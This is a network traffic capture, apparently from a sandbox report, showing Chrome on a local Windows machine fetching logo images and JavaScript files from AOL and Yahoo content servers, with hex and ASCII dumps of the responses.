148	192.168.2.6	49873	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	940	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FOHTDIcS3OqqJHOtudo3U_g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20211123%2F500x500%2FBoston-Red-Sox_wbg.png&client=76f99bdb8f78cd44cc0b&signature=3196918a1fe607d3480e4199512d4c82a7361c33 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:49 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500367 Cache-Control: public, max-age=2592000 Cache-Tag: 182984461189557618752305926179485245855,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21947-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:49 GMT Edge-Cache-Tag: 182984461189557618752305926179485245855,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "19a33967e0666239acaac99593b85828" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:09 GMT Server: ECAcc (lhd/3586) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2128,owidth=50,oheight=50,obytes=2427,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kjyo7100073-IAD X-Timer: S1711411322.453441,VS0,VE1 Content-Length: 2128 Connection: close
2024-05-23 22:34:49 UTC	2128	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fc fc fd ff ff ff ff ff ff ff ff ff f9 f9 fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f2 f3 f5 ff ff ff ff ff ff f4 f6 f8 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fb fc ff ff ff ff ff ff fe ff ff ff ff ff fc fc fd fe fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f7 f8 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fb fb fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	49874	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	703	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F9OD88Iedd3JWl5h_W4111g--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190314%2F500x500%2Frangers_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=09bdc4657cedb149a942b53e9557602fa6a610d4 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:49 UTC	1140	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1895567 Cache-Control: public, max-age=2592000 Cache-Tag: 504753941145864355255013570528582779067,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000063-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 28 Content-Type: image/png Date: Thu, 23 May 2024 22:34:49 GMT Edge-Cache-Tag: 504753941145864355255013570528582779067,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "46130e70ffcc1724ef199cc50d1be90e" Expiration: expiry-date="Sun, 28 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 29 Jan 2024 00:30:30 GMT Server: ECAcc (lhd/35A0) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1425,owidth=50,oheight=50,obytes=1486,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000092-IAD X-Timer: S1711411322.465966,VS0,VE2 Content-Length: 1425 Connection: close
2024-05-23 22:34:49 UTC	1425	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 df 50 4c 54 45 47 70 4c 21 3b 74 ff ff ff e4 a0 a2 ff ff ff e6 a7 a9 ff ff ff 21 3b 74 ff ff ff 21 3a 74 21 3b 74 3f 4f 67 21 3b 74 41 4e 66 ff ff ff ff ff ff ff ff ff ff ff ff 21 3b 74 21 3b 74 21 3b 74 21 3b 73 25 3f 77 21 3a 74 21 3b 74 21 3b 74 21 3b 74 21 3b 74 21 3b 74 3f 4f 67 21 3b 74 ff ff ff 41 4e 66 41 4e 66 f1 cf d0 ef c6 c7 ff ff ff ff ff ff 41 4e 66 40 4e 66 21 3b 74 26 3f 77 41 4e 66 ff ff ff ff ff ff 21 3a 74 ff ff ff 41 4e 66 40 4e 66 e7 a9 ab dd 86 88 26 3f 77 22 3b 74 3e 54 86 ff ff ff ff ff ff 21 3b 74 21 3b 74 ff ff ff ef c8 c9 f3 d6 d7 9f a9 c2 f5 dc dc fc f5 f5 c7 bc c9 f3 d5 d6 41 4e 66 ff ff ff 41 4e 66 fe fc fc ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpL!;t!;t!:t!;t?Og!;tANf!;t!;t!;t!;s%?w!:t!;t!;t!;t!;t!;t?Og!;tANfANfANf@Nf!;t&?wANf!:tANf@Nf&?w";t>T!;t!;tANfANf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.6	49875	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	530	OUT	GET /kj/js/dispatcherWidget.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:49 UTC	797	IN	HTTP/1.1 200 OK x-amz-id-2: FB4NrV/6vQpd+6LzbElcyzwFGO+1ojh193Q9NjOV8IjSYPKN74qLXiQ3KlCro0rS7EkMMgThrPuM9RnTrQTStrnJDobrp54/B8u47yKd7EA= x-amz-request-id: S6EE0B5RNW7F0H0S Date: Thu, 23 May 2024 22:26:27 GMT Last-Modified: Fri, 02 Feb 2024 16:36:29 GMT x-amz-server-side-encryption: AES256 Cache-Control: max-age=3600 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 32281 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "2bcd33abcf1d9b53e39084bef961e404" Age: 503 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:49 UTC	798	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 76 61 72 20 5f 5f 65 78 74 65 6e 64 73 20 3d 20 28 74 68 69 73 20 26 26 20 74 68 69 73 2e 5f 5f 65 78 74 65 6e 64 73 29 20 7c 7c 20 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 65 78 74 65 6e 64 53 74 61 74 69 63 73 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 64 2c 20 62 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 65 78 74 65 6e 64 53 74 61 74 69 63 73 20 3d 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 20 7c 7c 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 28 7b 20 5f 5f 70 72 6f 74 6f 5f 5f 3a 20 5b 5d 20 7d 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 20 26 26 20 66 75 6e 63 74 69 6f 6e 20 28 64 2c 20 62 29 20 7b 20 64 2e 5f 5f 70 Data Ascii: (function () { var __extends = (this && this.__extends) \|\| (function () { var extendStatics = function (d, b) { extendStatics = Object.setPrototypeOf \|\| ({ __proto__: [] } instanceof Array && function (d, b) { d.__p
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 74 6f 74 79 70 65 2c 20 6e 65 77 20 5f 5f 28 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 7d 29 28 29 3b 0a 20 20 20 20 76 61 72 20 57 69 64 67 65 74 4d 6f 64 65 3b 0a 20 20 20 20 28 66 75 6e 63 74 69 6f 6e 20 28 57 69 64 67 65 74 4d 6f 64 65 29 20 7b 0a 20 20 20 20 20 20 20 20 57 69 64 67 65 74 4d 6f 64 65 5b 22 41 75 74 6f 48 69 64 65 22 5d 20 3d 20 22 61 75 74 6f 48 69 64 65 22 3b 0a 20 20 20 20 20 20 20 20 57 69 64 67 65 74 4d 6f 64 65 5b 22 4f 76 65 72 6c 61 79 22 5d 20 3d 20 22 6f 76 65 72 6c 61 79 22 3b 0a 20 20 20 20 20 20 20 20 57 69 64 67 65 74 4d 6f 64 65 5b 22 53 74 69 63 6b 79 46 6f 6f 74 65 72 22 5d 20 3d 20 22 73 74 69 63 6b 79 46 6f 6f 74 65 72 22 3b 0a 20 20 20 20 20 20 20 20 57 69 64 67 65 74 4d 6f 64 65 5b 22 44 65 66 61 75 Data Ascii: totype, new __()); }; })(); var WidgetMode; (function (WidgetMode) { WidgetMode["AutoHide"] = "autoHide"; WidgetMode["Overlay"] = "overlay"; WidgetMode["StickyFooter"] = "stickyFooter"; WidgetMode["Defau
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 3b 20 72 69 67 68 74 3a 20 32 70 78 3b 20 68 65 69 67 68 74 3a 20 31 36 70 78 3b 20 77 69 64 74 68 3a 20 31 36 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 20 31 30 30 31 3b 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 20 73 74 72 6f 6b 65 3a 20 23 66 66 66 3b 20 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 20 32 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 20 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 22 3b 0a 20 20 20 20 76 61 72 20 43 4c 4f 53 45 42 54 4e 5f 43 4f 4e 54 41 49 4e 45 52 5f 53 54 59 4c 45 20 3d 20 22 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 22 3b 0a 20 20 20 20 76 61 72 20 43 4f 4e 54 45 4e 54 5f 43 4f 4e 54 41 49 4e 45 52 5f 44 45 46 41 55 4c 54 5f 53 54 59 4c 45 20 3d 20 22 62 6f 78 2d 73 68 61 64 6f Data Ascii: ; right: 2px; height: 16px; width: 16px; z-index: 1001; cursor: pointer; stroke: #fff; stroke-width: 2; background: none; border: none; padding: 0;"; var CLOSEBTN_CONTAINER_STYLE = "display: none;"; var CONTENT_CONTAINER_DEFAULT_STYLE = "box-shado
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 6b 22 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 50 72 65 73 65 6e 74 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 68 69 64 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 6c 6d 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 65 6c 6d 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 6c 6d 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 50 72 65 73 65 6e 74 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 62 75 69 6c 64 43 6f 6e 74 65 6e 74 43 6f 6e 74 61 69 6e 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 63 6f 6e 74 65 78 74 2c 20 69 66 72 61 6d 65 55 72 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 66 72 61 6d 65 45 6c 6d 20 3d 20 Data Ascii: k"; }; Presenter.prototype.hide = function (elm) { if (elm) elm.style.display = "none"; }; Presenter.prototype.buildContentContainer = function (context, iframeUrl) { var iframeElm =
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 28 63 6f 6e 74 65 6e 74 43 6f 6e 74 61 69 6e 65 72 53 74 79 6c 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 45 6c 6d 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 20 2b 3d 20 22 20 22 20 2b 20 63 6f 6e 74 65 6e 74 43 6f 6e 74 61 69 6e 65 72 53 74 79 6c 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 6f 6e 74 65 6e 74 43 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 20 3d 20 63 6f 6e 74 65 78 74 2e 63 6f 6e 74 65 6e 74 43 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 20 7c 7c 20 63 6f 6e 74 65 78 74 2e 63 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 6f 6e 74 65 6e 74 43 6f 6e 74 61 69 6e 65 72 43 6c 61 73 73 20 26 26 20 53 41 46 45 Data Ascii: (contentContainerStyle)) { iframeElm.style.cssText += " " + contentContainerStyle; } var contentContainerClass = context.contentContainerClass \|\| context.containerClass; if (contentContainerClass && SAFE
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 32 30 30 22 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 68 6f 77 49 66 43 61 6e 28 63 6f 6e 74 65 78 74 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 6f 6e 74 65 78 74 2e 72 65 73 70 6f 6e 73 69 76 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 44 69 6d 65 6e 73 69 6f 6e 46 6f 72 49 64 28 63 6f 6e 74 65 78 74 2e 69 66 72 61 6d 65 49 64 2c 20 70 61 79 6c 6f 61 64 2e 68 65 69 67 68 74 2c 20 22 68 65 69 67 68 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 2f 2f 20 6f 6e 43 6c 6f 73 65 20 74 68 72 75 20 6f 6e 48 69 64 65 20 69 73 20 6d 65 61 6e Data Ascii: 200") { this.showIfCan(context); if (context.responsive) { setDimensionForId(context.iframeId, payload.height, "height"); } } }; // onClose thru onHide is mean
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 72 6f 74 6f 74 79 70 65 2e 6f 6e 53 68 6f 77 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 63 6f 6e 74 65 78 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 68 6f 77 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 63 6f 6e 74 65 78 74 2e 69 66 72 61 6d 65 49 64 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 63 6f 6e 74 65 78 74 2e 69 6e 69 74 69 61 6c 53 68 6f 77 44 6f 6e 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 66 72 61 6d 65 45 6c 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 63 6f 6e 74 65 78 74 2e 69 66 72 61 6d 65 49 64 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 63 6f 6e 74 65 78 74 2e 72 65 73 Data Ascii: rototype.onShow = function (context) { this.show(document.getElementById(context.iframeId)); if (!context.initialShowDone) { var iframeElm = document.getElementById(context.iframeId); if (context.res
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 3b 0a 20 20 20 20 76 61 72 20 41 75 74 6f 48 69 64 65 50 72 65 73 65 6e 74 65 72 20 3d 20 2f 2a 2a 20 40 63 6c 61 73 73 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 20 28 5f 73 75 70 65 72 29 20 7b 0a 20 20 20 20 20 20 20 20 5f 5f 65 78 74 65 6e 64 73 28 41 75 74 6f 48 69 64 65 50 72 65 73 65 6e 74 65 72 2c 20 5f 73 75 70 65 72 29 3b 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 41 75 74 6f 48 69 64 65 50 72 65 73 65 6e 74 65 72 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 5f 73 75 70 65 72 20 21 3d 3d 20 6e 75 6c 6c 20 26 26 20 5f 73 75 70 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 29 20 7c 7c 20 74 68 69 73 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 41 75 74 6f 48 69 64 65 50 72 Data Ascii: ; var AutoHidePresenter = /** @class */ (function (_super) { __extends(AutoHidePresenter, _super); function AutoHidePresenter() { return _super !== null && _super.apply(this, arguments) \|\| this; } AutoHidePr
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 6e 74 61 69 6e 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 63 6f 6e 74 65 78 74 2c 20 69 66 72 61 6d 65 55 72 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 66 72 61 6d 65 45 6c 6d 20 3d 20 5f 73 75 70 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 62 75 69 6c 64 43 6f 6e 74 65 6e 74 43 6f 6e 74 61 69 6e 65 72 2e 63 61 6c 6c 28 74 68 69 73 2c 20 63 6f 6e 74 65 78 74 2c 20 69 66 72 61 6d 65 55 72 6c 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 45 6c 6d 2e 73 74 79 6c 65 2e 63 73 73 54 65 78 74 20 3d 20 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 2d 31 30 30 70 78 3b 20 6c 65 66 74 3a 20 30 70 78 3b 20 72 69 67 68 74 3a 20 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 20 Data Ascii: ntainer = function (context, iframeUrl) { var iframeElm = _super.prototype.buildContentContainer.call(this, context, iframeUrl); iframeElm.style.cssText = "position: fixed; bottom: -100px; left: 0px; right: 0px; margin-left: auto;
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 77 28 63 6f 6e 74 65 78 74 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 44 69 6d 65 6e 73 69 6f 6e 73 46 6f 72 49 64 28 63 6f 6e 74 65 78 74 2e 69 66 72 61 6d 65 49 64 2c 20 70 61 79 6c 6f 61 64 2e 73 74 79 6c 65 73 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5f 73 75 70 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 52 65 73 69 7a 65 2e 63 61 6c 6c 28 74 68 69 73 2c 20 63 6f 6e 74 65 78 74 2c 20 70 61 79 6c 6f 61 64 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 45 6c 6d 2e 73 74 79 6c 65 2e 74 72 61 6e 73 69 74 69 6f 6e 20 3d 20 22 62 6f 74 74 6f 6d 20 30 2e 33 73 22 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 53 74 69 63 6b 79 46 Data Ascii: w(context)); setDimensionsForId(context.iframeId, payload.styles); _super.prototype.onResize.call(this, context, payload); iframeElm.style.transition = "bottom 0.3s"; } }; StickyF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.6	49876	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:48 UTC	535	OUT	GET /aaq/f10d509c/d3decajspqn3ue.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:49 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: cyZ7gdcbbSp+Vo/Qfd42xNWFTctRIUwmwO19pcxDQDDnzJ32IbiMrRWxUz/8qIH5x3hyfoaZsxI= x-amz-request-id: 8YB1VC34ZW1D8F8Z Date: Thu, 23 May 2024 22:29:55 GMT Last-Modified: Thu, 23 May 2024 18:55:03 GMT x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=600 x-amz-version-id: QsgCccnphtK6U9hYVu_DNll8BZxtouNk Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 164362 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Etag: "0b1b719912699b5d45810ae284a1ddb1" Age: 295 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 28 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 5b 27 70 63 65 54 6c 73 62 49 42 77 71 36 6c 59 39 57 43 4d 76 49 41 77 71 2f 79 77 72 56 42 77 66 50 42 4e 6d 39 27 2c 27 43 32 76 30 71 78 72 30 43 4d 4c 49 44 78 72 4c 27 2c 27 43 32 4c 36 7a 71 3d 3d 27 2c 27 79 32 31 4b 27 2c 27 7a 77 58 48 43 68 6e 4c 7a 66 39 30 41 77 31 4c 27 2c 27 7a 78 7a 4c 42 4e 72 75 45 78 62 4c 27 2c 27 43 67 66 4e 7a 77 48 50 7a 67 75 3d 27 2c 27 79 33 6a 4c 79 78 72 4c 73 66 72 6e 74 65 72 56 79 33 76 54 7a 77 35 30 27 2c 27 7a 4d 58 56 42 33 69 3d 27 2c 27 43 33 76 49 43 33 72 59 27 2c 27 44 4d 30 54 43 67 58 48 79 32 76 54 7a 77 35 30 27 2c 27 42 4d 38 54 7a 67 39 4a 27 2c 27 6a 49 6d 5a 6f 74 53 3d 27 2c 27 79 32 4c 56 72 67 76 49 44 77 43 3d 27 2c 27 42 Data Ascii: (new function(){var c=['pceTlsbIBwq6lY9WCMvIAwq/ywrVBwfPBNm9','C2v0qxr0CMLIDxrL','C2L6zq==','y21K','zwXHChnLzf90Aw1L','zxzLBNruExbL','CgfNzwHPzgu=','y3jLyxrLsfrnterVy3vTzw50','zMXVB3i=','C3vIC3rY','DM0TCgXHy2vTzw50','BM8Tzg9J','jImZotS=','y2LVrgvIDwC=','B
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 4b 4c 55 41 4d 76 4a 44 67 76 4b 27 2c 27 73 66 72 6e 74 66 6e 4a 43 4d 4c 57 44 65 76 53 7a 77 31 4c 42 4e 71 3d 27 2c 27 6c 4d 39 55 27 2c 27 43 4d 76 54 42 33 7a 4c 72 78 7a 4c 42 4e 72 6d 41 78 6e 30 7a 77 35 4c 43 47 3d 3d 27 2c 27 71 75 72 67 27 2c 27 75 32 76 4a 44 78 6a 50 44 68 4c 66 43 4e 6a 56 43 47 3d 3d 27 2c 27 6a 4e 75 39 27 2c 27 73 66 72 6e 74 65 31 4c 44 67 66 66 42 67 76 54 7a 77 35 30 27 2c 27 43 32 76 30 71 78 72 30 43 4d 4c 49 44 78 72 4c 74 4d 39 4b 7a 71 3d 3d 27 2c 27 43 33 6a 4a 6c 4d 6e 56 42 4e 72 4c 42 4e 71 3d 27 2c 27 43 4d 76 54 42 33 7a 4c 71 32 48 50 42 67 71 3d 27 2c 27 41 77 35 5a 43 67 76 4a 44 65 76 59 43 4d 39 59 27 2c 27 44 78 6e 4c 43 4b 66 4e 7a 77 35 30 27 2c 27 72 65 6e 6d 27 2c 27 6c 4d 66 5a 76 67 39 57 27 2c Data Ascii: KLUAMvJDgvK','sfrntfnJCMLWDevSzw1LBNq=','lM9U','CMvTB3zLrxzLBNrmAxn0zw5LCG==','qurg','u2vJDxjPDhLfCNjVCG==','jNu9','sfrnte1LDgffBgvTzw50','C2v0qxr0CMLIDxrLtM9Kzq==','C3jJlMnVBNrLBNq=','CMvTB3zLq2HPBgq=','Aw5ZCgvJDevYCM9Y','DxnLCKfNzw50','renm','lMfZvg9W',
2024-05-23 22:34:49 UTC	709	IN	Data Raw: 35 30 7a 33 71 39 27 2c 27 43 33 6e 4f 79 47 3d 3d 27 2c 27 79 4e 72 56 79 71 3d 3d 27 2c 27 41 68 72 54 42 65 72 48 44 67 65 3d 27 2c 27 74 4d 39 4b 7a 73 35 46 78 32 6e 5a 43 68 6a 46 78 5a 4f 47 27 2c 27 73 77 35 50 44 67 4c 48 42 67 4c 36 79 78 72 50 42 32 35 67 79 77 4c 53 7a 77 71 3d 27 2c 27 42 4d 39 4b 7a 76 72 35 43 67 75 3d 27 2c 27 69 67 4c 5a 69 67 35 56 44 63 62 4c 45 68 72 4c 42 4e 6e 50 79 4d 58 4c 27 2c 27 7a 4d 76 30 79 32 47 3d 27 2c 27 77 32 39 49 41 4d 76 4a 44 63 62 6f 79 78 7a 50 7a 32 66 30 41 77 39 55 78 71 3d 3d 27 2c 27 45 77 48 49 27 2c 27 7a 77 35 31 42 77 76 59 79 77 6a 53 7a 71 3d 3d 27 2c 27 43 32 39 32 43 4d 34 54 79 32 39 55 42 4d 76 4a 44 63 31 48 7a 61 3d 3d 27 2c 27 76 32 76 49 72 30 57 59 75 4d 76 55 7a 